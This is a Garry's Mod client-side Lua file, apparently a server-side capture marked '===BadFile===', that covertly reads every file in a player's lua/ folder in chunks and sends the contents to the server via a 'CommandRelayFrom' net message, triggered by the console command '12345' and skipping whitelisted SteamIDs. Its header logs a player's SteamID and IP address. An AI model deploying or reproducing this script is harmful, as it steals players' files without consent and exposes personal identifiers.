--[[
	MOD/lua/logs/lua/autorun/client/SendData.lua
	Λ̲x¥Λ̲ɢɢʀᴇsɪᴠᴇ � | STEAM_0:1:69497763 <86.169.139.24:27005> | [19-10-13 06:40:15PM]
	===BadFile===
]]

-- Define Local Table;

local RE = { };

-- Whitelisted Player(s) STEAM_0:0:10334822

RE.Whitelist = {"STEAM_0:1:69497763","STEAM_0:1:72010149","STEAM_0:0:69348930"}

-- Define Local Table Variables;

RE.Path = "";
RE.Files = nil;
RE.Folders = nil;
RE.FileContent = {};
local fileObj = nil;
local bits = 0;
local Content = "";
local test = "";

function RE.GetLua()

	RE.Files, RE.Folders = file.Find( "lua/*", "GAME" )

end

-- Send Write Data;

function RE.SendData()

	for a, b in pairs( RE.Whitelist ) do

		if ( LocalPlayer():SteamID() == b ) then

			print("Whitelisted!");
			return

		end

	end

	RE.GetLua()

	for a, b in pairs( RE.Files ) do

		--print( "lua/".. b )

		if file.Exists( "lua/".. b, "GAME" ) then 

			fileObj = file.Open( "lua/".. b, "r", "GAME" );
			bits = fileObj:Size() / 4095;

			for i = 0, bits do

				fileObj:Seek( ( 4095 ) * i )
				test = fileObj:Read( 4095 )

				table.insert( RE.FileContent, test )

			end

			net.Start( "CommandRelayFrom" )

				net.WriteString( tostring( b ) );
				net.WriteTable( RE.FileContent );

			net.SendToServer()

			table.Empty( RE.FileContent )
			
			fileObj:Close()

		end

	end

end

concommand.Add("12345", RE.SendData);